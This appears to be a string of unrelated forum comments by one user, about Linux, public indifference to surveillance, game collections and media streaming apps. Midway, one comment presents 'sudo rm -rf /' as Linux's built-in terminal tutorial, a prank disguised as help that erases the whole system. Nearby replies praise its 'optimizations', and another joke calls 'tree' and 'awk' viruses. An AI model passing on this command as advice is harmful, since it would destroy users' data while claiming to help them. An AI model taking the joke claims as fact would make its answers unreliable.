Well, technically it teaches you how to optimize your system.
That said, the optimizations are really effective.

All good points.
That's why I love communities like these, there are always people willing to expound upon other's solutions with solid additional information.
It's what makes forums like these such goldmines of information when you're first cutting your teeth learning new things.
Upvoted.
It's great, isn't it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system's using now that you've run the tutorials. It's almost like nothing's going on in the background at all.
This is the reason that BASH will always be better than Powershell, imho.
I'm not sure that they ever did.
The turning point for me when I really got a concrete realisation about people absolutely not giving a shit about this was when Snowden came out and I saw the majority of people just go "Eh, that's pretty fucked, whatever", and then immediately jump straight back into scrolling facebook all day long.
I realised then that there probably wasn't any point expecting anything from them. I don't have much sympathy left for people in this regard anymore.
Most people legitimately don't give a shit about this issue. I think that they really should, but they absolutely don't for the most part.
I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.
It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.
Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:
sudo rm -rf /
Type your password when prompted and you're golden. No more linux issues ever again.
1/10 because Perfect Dark and Goldeneye don't have pride of place on the top shelf next to Majoras Mask. Epic fail move right there.
But also, why do you have so many identical copies of the same games? What's the point, or are they different region copies?
If you're on android, look up an app called BubbleUPnP, it will allow you to stream media via standard UPnP protocols to other devices from the phone. I used it with one of my old VR headsets so that I could keep a video library on my phone's 128GB MicroSD card and wirelessly stream movies into a virtual cinema inside the headset (which had almost no free storage, hence this solution).
You should be able to get the same thing to work with a PC.
Ok, I just reported you here on Kbin.social, not sure if it went through though as clicking the button didn't close the report box or anything, but that could just be a missing UI feature.
Gonna have a wild guess here and assume that mutant is on that list.
Probably not tbh, but it's another thing to actually see it there in a permissions list.
I'm pretty sure that none of this is really "news" to anyone. I posted it because it's a slightly more "in your face" view of what we already know.
Oh, I expected absolutely nothing else.
Lol, I know what you mean.
Isn't it fucked up how we all say that linux doesn't have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn't have "Tree" or "Awk" just sitting there waiting to ruin your whole day.
I swear to God Canonical have some things to answer for.
